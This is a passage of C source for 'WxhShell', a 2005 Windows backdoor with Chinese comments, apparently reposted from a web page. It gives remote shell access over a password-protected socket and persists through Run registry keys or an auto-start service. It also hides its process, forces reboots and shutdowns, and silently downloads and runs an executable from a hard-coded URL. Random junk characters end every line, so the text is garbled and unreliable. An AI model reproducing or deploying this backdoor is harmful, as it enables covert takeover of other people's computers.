    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q_O*oT(0  
    if(Boot(SHUTDOWN)) 4| Ui?.4=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]ti!<  
    else { ::"E?CQLV  
    closesocket(wsh); i@zY9,b  
    ExitThread(0); V3.t;.@  
    } zxKCVRJ  
    break; %}b8aG+  
    } ;/sHWI f+Z  
  // 获取shell Cs1>bpY*R6  
  case 's': { =+oZtP-+o  
    CmdShell(wsh); {p/YCch,  
    closesocket(wsh); ]vo_gKZ  
    ExitThread(0); %Q4i%:Qi  
    break; ngUHkpYS5  
  } d`%M g&  
  // 退出 44-r\>  
  case 'x': { !ALZBB.r(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p;%<mUI  
    CloseIt(wsh); "s_Z&  
    break; kGHC]Fb)  
    } |_zO_Frtp  
  // 离开 5 9 -!6;T  
  case 'q': { O#_x)13  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ([LIjaoi  
    closesocket(wsh); b{&FuvQg2  
    WSACleanup(); '3;v] L?G  
    exit(1); MCYl{uH!  
    break; JwP:2-o  
        } Yx%bn?%;&  
  } !B^K[2`)N  
  } ( ?Q|s,  
`s /?b|,  
  // 提示信息 YQVcECj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K=\&+at1  
} U Cb02h  
  } DTY<0Q.  
FvXqggfGv  
  return; `X8@/wf#  
} fRHKQ(a#  
hh"-w3+  
// shell模块句柄 qrBZvJU  
int CmdShell(SOCKET sock) D}{b;Un  
{ xsP4\C>  
STARTUPINFO si; /A07s[L  
ZeroMemory(&si,sizeof(si)); LmL Gki$w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HL8eD^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;j'Daupt;=  
PROCESS_INFORMATION ProcessInfo; M_1;$fWq  
char cmdline[]="cmd"; xRxy|x[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I}.i@d'O  
  return 0; S; /. %  
} d3^7ag%  
YfDWM7x7,  
// 自身启动模式 ,XB%\[pKe  
int StartFromService(void) AsxD}Nw[Z*  
{ >^SEWZ_[  
typedef struct ^T079=$5  
{ p'Bm8=AwD  
  DWORD ExitStatus; s3 B'>RG}  
  DWORD PebBaseAddress; bToq$%sCg  
  DWORD AffinityMask; .+.j*>q>u  
  DWORD BasePriority; 4Z5#F]OA7  
  ULONG UniqueProcessId; Ix8$njp[  
  ULONG InheritedFromUniqueProcessId; ht6244:  
}   PROCESS_BASIC_INFORMATION; `_qK&&s  
O)#U ^  
PROCNTQSIP NtQueryInformationProcess; HW6.O|3  
..qd,9H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %oof}=MxCL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Ec/(-F  
0(\+-<  
  HANDLE             hProcess; 97`WMs  
  PROCESS_BASIC_INFORMATION pbi; JUt7En;XE  
M+Uyb7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %1}6q`:w  
  if(NULL == hInst ) return 0; "(TkJbwC[  
g8pO Lr'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;JTt2qQKo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M$S]}   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \3zj18(@8!  
7y<1LQ;}  
  if (!NtQueryInformationProcess) return 0; :T@r*7hNT  
ejePDgi_[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sC7/9</  
  if(!hProcess) return 0; +4)7j&L  
p EusTP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qx)?buAij  
_8fA?q=  
  CloseHandle(hProcess); JK)qZ=  
b{cU<;G)y.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]r/^9XaqtA  
if(hProcess==NULL) return 0; d7Ro}>lp  
wij,N(,H  
HMODULE hMod; GjT#%GBF  
char procName[255]; FN87^.^2S  
unsigned long cbNeeded; d8x%SQ!V  
`8g7q 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -_0?_Cb  
a. %LHb  
  CloseHandle(hProcess); fi%r<]@  
p{tK_ZBy]c  
if(strstr(procName,"services")) return 1; // 以服务启动 %s=Dj2+  
#I0pYA2m  
  return 0; // 注册表启动 jAhP> t:  
} B6M+mx"G  
SoQR#(73HK  
// 主模块 (K{5fC  
int StartWxhshell(LPSTR lpCmdLine) vmZ"o9-{#X  
{ R.RSQk7;  
  SOCKET wsl; $:bih4 @>  
BOOL val=TRUE; {=Q7m`1  
  int port=0; F4C!CUI  
  struct sockaddr_in door; {ERMGd6Jp  
0Y+FRB ]u  
  if(wscfg.ws_autoins) Install(); [M+tB"_  
~)X[(T{  
port=atoi(lpCmdLine); xyeA  2Y  
xBM>u,0.F  
if(port<=0) port=wscfg.ws_port; [c&B|h=>  
WlwY <)  
  WSADATA data; &xd.Qi2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QWO]`q`|  
1,t)3;o$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;y>a nE}n{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .qD@ Y3-  
  door.sin_family = AF_INET; [xlIG}e9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EtJ8^[u2J  
  door.sin_port = htons(port); 2KJ1V+g@a6  
&X>7n~@0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 't (O$  
closesocket(wsl); q!lP"J  
return 1; t;q7t!sC]  
} KG9t3<-`  
iz^qR={bW  
  if(listen(wsl,2) == INVALID_SOCKET) { Qyh/ed/  
closesocket(wsl); yW7'?  
return 1; l|`^*%W@u6  
} Snw3`|Y~<  
  Wxhshell(wsl); PGn);Baq  
  WSACleanup(); lU4}B`#"v  
PS>x,T  
return 0; [AzO:A  
> 0>  
} Qd`T5[b\  
hsNWqk qys  
// 以NT服务方式启动 e{w>%)rcP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |`O5Xs1{B  
{ b~Y%gC)FR  
DWORD   status = 0; h1D?=M\9  
  DWORD   specificError = 0xfffffff; YlK7;yrq(  
v4vf }.L]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^_5|BT@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PR7f(NC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W[''Cc.  
  serviceStatus.dwWin32ExitCode     = 0; _=f=fcl  
  serviceStatus.dwServiceSpecificExitCode = 0; UXr5aZ7y  
  serviceStatus.dwCheckPoint       = 0; m\u26`M  
  serviceStatus.dwWaitHint       = 0; Rd&9E  
S]/b\ B.h+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M!m?#xz'c  
  if (hServiceStatusHandle==0) return; hlJpElYf  
#(;<-7M2  
status = GetLastError(); LO%!Z,}   
  if (status!=NO_ERROR) Jl<ns,Zg  
{ D)$8 W[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r|<DqTc6l  
    serviceStatus.dwCheckPoint       = 0; wVl+]zB  
    serviceStatus.dwWaitHint       = 0; e)^j+ l  
    serviceStatus.dwWin32ExitCode     = status; y*b3&%.ml  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9i$NhfOe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); . )XP\ m\  
    return; ]c)_&{:V  
  } ]2SF9p_  
d=O3YNM:v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B}?IEpYp  
  serviceStatus.dwCheckPoint       = 0; T<b+s#n4  
  serviceStatus.dwWaitHint       = 0; dE`-\J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9]'&RyH=#  
} I~* ? d  
=^DLywAh}u  
// 处理NT服务事件,比如:启动、停止 B~o-l*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s0u{d qP  
{ l{c]p-  
switch(fdwControl) LaMLv<)k  
{ !c#]?b%  
case SERVICE_CONTROL_STOP: kJ:F *34e=  
  serviceStatus.dwWin32ExitCode = 0; }YhtUWz].  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U977#M Xf  
  serviceStatus.dwCheckPoint   = 0; _Xcn N:Rt  
  serviceStatus.dwWaitHint     = 0; tB7}|jC  
  { o(kM9G|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6X2PYJJZ  
  } ; 0v>Rfa  
  return; ./6<r OW  
case SERVICE_CONTROL_PAUSE: eJCjJ)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K0pac6]  
  break; {XurC}#\  
case SERVICE_CONTROL_CONTINUE: &;TJ~r#K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SO\/-]9#  
  break; -Y 9SngxM  
case SERVICE_CONTROL_INTERROGATE: "Ml&[O ge  
  break; (h-*_a}F4  
}; i+3fhV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {:nQl}  
} ?(6mVyIe  
K0+.q?8D|  
// 标准应用程序主函数 [P4$Khu$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BKa- k!  
{ #L}+H!Myh  
Uggw-sRU  
// 获取操作系统版本 C Wo1.pVw  
OsIsNt=GetOsVer(); P>Euq'ajX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W/ay.I  
^rl"rEA  
  // 从命令行安装 _Us*+ 2(4L  
  if(strpbrk(lpCmdLine,"iI")) Install(); :p&!RI(l  
M]v=-  
  // 下载执行文件 U).*q?.z  
if(wscfg.ws_downexe) { $*a'84-5G-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "<+ih0Ma  
  WinExec(wscfg.ws_filenam,SW_HIDE); T=a=B(  
} d@0Kr5_  
b IW'c_ ,  
if(!OsIsNt) { ~rr 4ok  
// 如果时win9x,隐藏进程并且设置为注册表启动 hG~reVNf  
HideProc(); @Y,7'0U  
StartWxhshell(lpCmdLine); hJz):d>Im  
} dx*qb  
else YNrp}KQ  
  if(StartFromService()) J/!cGr( B~  
  // 以服务方式启动  h_d+$W5  
  StartServiceCtrlDispatcher(DispatchTable); ]'~vI/p  
else 'uDjFQX  
  // 普通方式启动 J~B 7PW  
  StartWxhshell(lpCmdLine); RE$`YCs5  
. v@>JZC  
return 0; OX:O^ (-r,  
} qH,l#I\CG  
R =Ws#'  
Nr<`Z  
@.$Xv>Jt$  
=========================================== nP3;<*T P0  
5;i!PuL  
o )}<   
osgS?=8  
]I.& .?^i0  
G \aLg  
" c<t3y7  
\Z7([Gh  
#include <stdio.h> r &l*.C*  
#include <string.h> Eg- Mm4o  
#include <windows.h> U!-+v:SF  
#include <winsock2.h> Xxsnpb>  
#include <winsvc.h> lXL7q?,9  
#include <urlmon.h> O%q;,w{prW  
)DZ-vnZ#t0  
#pragma comment (lib, "Ws2_32.lib") ?U9d3] W  
#pragma comment (lib, "urlmon.lib") i2%m}S;D9  
^xkppN2  
#define MAX_USER   100 // 最大客户端连接数 O]r3?=  
#define BUF_SOCK   200 // sock buffer =QKgsgLh  
#define KEY_BUFF   255 // 输入 buffer qzbkxQu]g  
;h(;(  
#define REBOOT     0   // 重启 cTIwA:)D  
#define SHUTDOWN   1   // 关机 n4_:#L?  
EwBN+v;)  
#define DEF_PORT   5000 // 监听端口 X!A]V:8dk  
g KmRjK  
#define REG_LEN     16   // 注册表键长度 [#*?uu+ jK  
#define SVC_LEN     80   // NT服务名长度 i11GW  
f/WM}Hpj  
// 从dll定义API "qP^uno  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )s7Tv#[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X.4ZLwX=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n#L2cv~Aj"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pZJQKTCG  
Jc#)T;# 6  
// wxhshell配置信息 T _9ZI|Jx  
struct WSCFG { 4l!Yop0h  
  int ws_port;         // 监听端口 a=T7w;\h  
  char ws_passstr[REG_LEN]; // 口令 #vZ]2Ud= 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no j[Zni D  
  char ws_regname[REG_LEN]; // 注册表键名 <Ibr.L]  
  char ws_svcname[REG_LEN]; // 服务名 3% 4Mq6Q`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +FKP5L}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _wJ#jJz2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DW%K'+@M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |iJZC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p1gX4t]%}a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >sS:x,-  
h|uP=0   
}; l )V43  
86 /i~s  
// default Wxhshell configuration F*( A; N_y  
struct WSCFG wscfg={DEF_PORT, .lj!~_  
    "xuhuanlingzhe", WHavz0knf[  
    1, WuZ n|j'  
    "Wxhshell", Y},GZ^zqy  
    "Wxhshell", 3B_S>0H"$  
            "WxhShell Service", -AbA6_j  
    "Wrsky Windows CmdShell Service", )S`A+M K]  
    "Please Input Your Password: ", ^c2 8Q.<w(  
  1, "XH]B  
  "http://www.wrsky.com/wxhshell.exe", }3+(A`9h f  
  "Wxhshell.exe" )~Q$ tM`  
    }; ~r{Nc j  
L'c4 i[~s  
// 消息定义模块 f[z#=zv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z*R"917  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <uAqb Wu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rsIjpPa  
char *msg_ws_ext="\n\rExit."; 2Gj&7A3b  
char *msg_ws_end="\n\rQuit."; * "E]^wCn  
char *msg_ws_boot="\n\rReboot..."; \=QG6&_  
char *msg_ws_poff="\n\rShutdown..."; :]]amziP&  
char *msg_ws_down="\n\rSave to "; >-:U   
Pukq{/27  
char *msg_ws_err="\n\rErr!"; Yu8WmX,[  
char *msg_ws_ok="\n\rOK!"; l\S..B +  
SmRU!C$A  
char ExeFile[MAX_PATH]; NSxDCTw  
int nUser = 0; BtjsN22  
HANDLE handles[MAX_USER]; ,C CIg9Pt  
int OsIsNt; K r9 @  
l5aQDkp}  
SERVICE_STATUS       serviceStatus; > sUk6Z~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K%Rx5 S  
'vh:(-  
// 函数声明 /  ]I]  
int Install(void); h'N,oDB)  
int Uninstall(void); k6dSj>F>  
int DownloadFile(char *sURL, SOCKET wsh); 643 O(0a  
int Boot(int flag); ] qrO"X=  
void HideProc(void); wD*_S}]  
int GetOsVer(void); Haturg  
int Wxhshell(SOCKET wsl); KC  
void TalkWithClient(void *cs); inp=-  
int CmdShell(SOCKET sock); D F0~A  
int StartFromService(void); b7=]"|c$@  
int StartWxhshell(LPSTR lpCmdLine); 9g>ay-W[(  
5 1 L:%Af  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fn 6>n04v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fa$ Fo(.  
]2v31'  
// 数据结构和表定义 96 C|R  
SERVICE_TABLE_ENTRY DispatchTable[] = f^nogw<z!  
{ c1Dhx,]ad  
{wscfg.ws_svcname, NTServiceMain}, TlM ]d;9G  
{NULL, NULL} zaX30e:R  
}; &L+u]&!6C  
( 2<0kqj%  
// 自我安装  M)Y`u  
int Install(void) tR*J M$T  
{ %1xo|6hm-  
  char svExeFile[MAX_PATH]; 5q" ;R$+j  
  HKEY key; )(y&U  
  strcpy(svExeFile,ExeFile); L{osh0  
+xB !T1p D  
// 如果是win9x系统,修改注册表设为自启动 trg+" )a  
if(!OsIsNt) { YpXUYNy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o9>r -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G^oBu^bq~  
  RegCloseKey(key); ]w! x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YP+0 uZ[g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ll73}v  
  RegCloseKey(key); 6]7iiQz"H  
  return 0; ' ^n2]<  
    } &QLCij5:  
  } 'V .4Nhd  
} miEfxim  
else { [sbC6(z  
NC|&7qQ  
// 如果是NT以上系统,安装为系统服务 &A]*"lt|w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$$\}2m{L  
if (schSCManager!=0) $]!uX&  
{ hP,SvN#!2  
  SC_HANDLE schService = CreateService kR9G;IZ8s  
  ( %TvunV7NQS  
  schSCManager, On d"Eq=r  
  wscfg.ws_svcname, 8&f}GdZh  
  wscfg.ws_svcdisp, C KBLM2 D  
  SERVICE_ALL_ACCESS, {b8!YbG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x]J{EA{+  
  SERVICE_AUTO_START, u3w `(3{ <  
  SERVICE_ERROR_NORMAL, 9T`xW]Zf  
  svExeFile, NhS0D=v6  
  NULL, i=]IUjx<  
  NULL, C.FGi`rrm  
  NULL, 1DN,  
  NULL, &(IL`%  
  NULL &X9#{:l=  
  ); rmk'{"  
  if (schService!=0) [p_R?2uT  
  { P2!@^%o  
  CloseServiceHandle(schService); b8feo'4Z   
  CloseServiceHandle(schSCManager); cg}46)^<QH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lb{~a_c  
  strcat(svExeFile,wscfg.ws_svcname); gU0}.b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0[x?Q[~S_0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e}-uU7O  
  RegCloseKey(key); Bm;{dO  
  return 0; #}^ZxEU  
    } vFV->/u  
  } vx5;}[Bhm  
  CloseServiceHandle(schSCManager); BAx)R6kS;  
} hSQ P '6  
} ;yx+BaG~?  
Xa Yx avq  
return 1; HEhdV5B  
} W#8qhmt  
 7=6p  
// 自我卸载 axxd W)+K  
int Uninstall(void) 6Bo~7gnc  
{ V89!C?.[]1  
  HKEY key; O_FT@bo\  
gOx4qxy/m|  
if(!OsIsNt) { f>;5ZE4Zu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Z{; c  
  RegDeleteValue(key,wscfg.ws_regname); N?p9h{DG  
  RegCloseKey(key); |0b$60m$!t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VX[{X8PkS  
  RegDeleteValue(key,wscfg.ws_regname); a+{YTR>0m  
  RegCloseKey(key); +7|Oy3s  
  return 0; {t;Q#Ou.  
  } >hRYsWbmg  
} C' o4Su#  
} D@"q2 !  
else { [t: =%&B  
'lHtz ~[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ahhVl=9/ao  
if (schSCManager!=0)  i/y+kL  
{ C.C\(2- Rr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); __-rP  
  if (schService!=0) "Y7RvL!U  
  { 66[yL(*+  
  if(DeleteService(schService)!=0) { V}'|a<8kVv  
  CloseServiceHandle(schService); U :J~O y_Z  
  CloseServiceHandle(schSCManager); >M[rOu (d  
  return 0; WLDt5R  
  } h7~&rWb  
  CloseServiceHandle(schService); MP w@O0QS  
  } 4TG g`$e;  
  CloseServiceHandle(schSCManager); TAi |]U!  
} R 7xV{o  
} oHxaa>C>  
rw ^^12)  
return 1; l!~8  
} AZI%KM[  
[77]0V7  
// 从指定url下载文件 x|F6^d   
int DownloadFile(char *sURL, SOCKET wsh)  vF]?i  
{ KynQ <I/  
  HRESULT hr; b1\z&IdC  
char seps[]= "/"; |uj1T=ZY  
char *token; wI#rAx7f-  
char *file; 8p-5.GU)<e  
char myURL[MAX_PATH]; ",#rI+ el  
char myFILE[MAX_PATH]; QbV)+7II=  
0aQNdi)b  
strcpy(myURL,sURL); v~L} :  
  token=strtok(myURL,seps); H1s{JJAM>i  
  while(token!=NULL) y!blp>V6  
  { PcM:0(,G  
    file=token; NO`LSF  
  token=strtok(NULL,seps); 3|/ ;`KfQ  
  } }x~|XbG  
87YT;Z;U&  
GetCurrentDirectory(MAX_PATH,myFILE); %nFZA)B[  
strcat(myFILE, "\\"); H+zQz8zMC  
strcat(myFILE, file); E36<Wog  
  send(wsh,myFILE,strlen(myFILE),0); %/1`"M5ko  
send(wsh,"...",3,0); 4JU#3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PM[6U#  
  if(hr==S_OK) vQc>jmS+n  
return 0; ,(OA5%A9zK  
else Sn7.KYS  
return 1; oJ{)0;<~L  
Vn=J$Uv0  
} ] A<\ d  
I".d>]16|  
// 系统电源模块 gRSM~<  
int Boot(int flag) ?uk|x!Ko]  
{ }9 qsPn  
  HANDLE hToken; {D1=TTr^  
  TOKEN_PRIVILEGES tkp; r/:9j(yxr  
} ..}]J;To  
  if(OsIsNt) { d!Y,i!l!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GrVvOJr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5IVASqYp  
    tkp.PrivilegeCount = 1; \<T6+3p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c6BaC@2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CDU^X$Q  
if(flag==REBOOT) { 6l:CDPhR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ev*HH+:b>  
  return 0; P/M*XUG.  
} OwSr`2'9  
else { wy:.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j><.tA~i  
  return 0; ${6 ;]ye  
} )o AK)e  
  } NFmB ^@k  
  else { +]5JXt^  
if(flag==REBOOT) { ~|l>bf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v,Ep2$  
  return 0; 5#QB&A>  
} -_b}b)2iYN  
else { .$99/2[90  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R^%7|  
  return 0; -PEpy3dMY  
} ~l{CUQU  
} MttVgNV  
xU67ztS'E'  
return 1; W?XvVPB  
} N-_2d*l3  
`P : -a7_  
// win9x进程隐藏模块 &W".fRH_O  
void HideProc(void) A g/z\kX  
{ 6 `X#<#_&  
G^)|c<'M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h r*KDT^!  
  if ( hKernel != NULL ) /F/`?=1<$  
  { x<9|t(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {,P&05iSi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )9L1WOGi  
    FreeLibrary(hKernel); 3&x_%R  
  } pX6OhwkTK  
2E=E!Zwt_  
return; NpH)K:$#%  
} )Bd+jli|s  
W c-P= J*m  
// 获取操作系统版本 7<-D_$SrU  
int GetOsVer(void) 0D$+WX  
{ {[)J~kC+  
  OSVERSIONINFO winfo; #t3j u^ |?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8.]dThaq  
  GetVersionEx(&winfo); 8c]\4iau  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N \A)P  
  return 1; [x-Z)Q. 5  
  else r(i<H%"Z  
  return 0; U/|B IF  
} $\m=-5 0-  
+w GE  
// 客户端句柄模块 s^3t18m&1  
int Wxhshell(SOCKET wsl) =2->1<!x6<  
{ f-4<W0%  
  SOCKET wsh; .+{nfmc,c  
  struct sockaddr_in client; qXP)R/~OZ  
  DWORD myID; ?G.9D`95  
/Hx%gKU  
  while(nUser<MAX_USER) SQa.xLU  
{ kwZC 3p\\  
  int nSize=sizeof(client); .t7D/_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /EKfL\3  
  if(wsh==INVALID_SOCKET) return 1; *R1x^t+)  
2ORWdR.b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9r\8  !R  
if(handles[nUser]==0) [- vd]ob  
  closesocket(wsh); "wexG]R=5  
else @oYTJd(v{  
  nUser++; $T]1<3\G  
  } bKG:_mWe w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >2>xr"  
/KlA7MH6  
  return 0; jwAO{.}T1r  
} zXUE<\  
My_fm?n  
// 关闭 socket Odw SNG  
void CloseIt(SOCKET wsh) JL;H:`x  
{ kD MS7y<s  
closesocket(wsh); g<}EL[9  
nUser--; ][wS}~):  
ExitThread(0); Yg2z=&p-{"  
} ~]c^v'k  
3]xnKb|W  
// 客户端请求句柄 j(Q$frI  
void TalkWithClient(void *cs) ;$[o7Qm5r  
{ bs%]xf ~D;  
3<fJ5-z|-  
  SOCKET wsh=(SOCKET)cs; f&^Ea-c  
  char pwd[SVC_LEN]; )@SIFE  
  char cmd[KEY_BUFF]; 9OT2yC T  
char chr[1]; `2r21rVntf  
int i,j; >[ 72]<6  
>`,v?<>+  
  while (nUser < MAX_USER) { sY1@ch"  
6@bGh|   
if(wscfg.ws_passstr) {  w8FZXL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V~e1CZ(2X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <|Z0|sel  
  //ZeroMemory(pwd,KEY_BUFF); GXJ3E"_.  
      i=0; PMXnupt  
  while(i<SVC_LEN) { l\$_t2U  
d5^ipu  
  // 设置超时 ~}4H=[Zu  
  fd_set FdRead; r=&PUT+vt  
  struct timeval TimeOut; >]C;sP  
  FD_ZERO(&FdRead); 5\QNGRu"  
  FD_SET(wsh,&FdRead); ~Ycz(h'(  
  TimeOut.tv_sec=8; B*DH^";t  
  TimeOut.tv_usec=0; ;;l(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rw+0<r3|K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T("Fh}  
^D vaT9s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i1aS2gFi_  
  pwd=chr[0]; BLMcvK\9  
  if(chr[0]==0xd || chr[0]==0xa) { 3t%uUkXl  
  pwd=0; P?]q*KViM  
  break; ZMx_J  
  } ZTt% 7K"L  
  i++; ,FBF;zED  
    } HJg)c;u/2;  
=797;|B H  
  // 如果是非法用户,关闭 socket YT&_{nL#\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xn}'!S2-b  
} 4eIu@ ";!  
DlIfr6F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #3/l4`/j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A]=?fyPh{'  
* ?KQ\ Y  
while(1) { = b)q.2'#  
jv_sRV  
  ZeroMemory(cmd,KEY_BUFF); r-Dcc;+=Q  
-,4_ &V  
      // 自动支持客户端 telnet标准   I;mtyS  
  j=0; typ*.j[q  
  while(j<KEY_BUFF) { EQ=Enw1[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (iWNvVGS  
  cmd[j]=chr[0]; AvV.faa  
  if(chr[0]==0xa || chr[0]==0xd) { OpH9sBnA  
  cmd[j]=0; 53(m9YLk  
  break; E,C<ox4e  
  } 7Uj[0Awn  
  j++; KrbNo$0%  
    } r0S7e3xb  
Ir}&|"~H  
  // 下载文件 Nw|Lrn*h!  
  if(strstr(cmd,"http://")) { gNZ^TeT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1p8E!c{}j  
  if(DownloadFile(cmd,wsh)) %FF  S&vd  
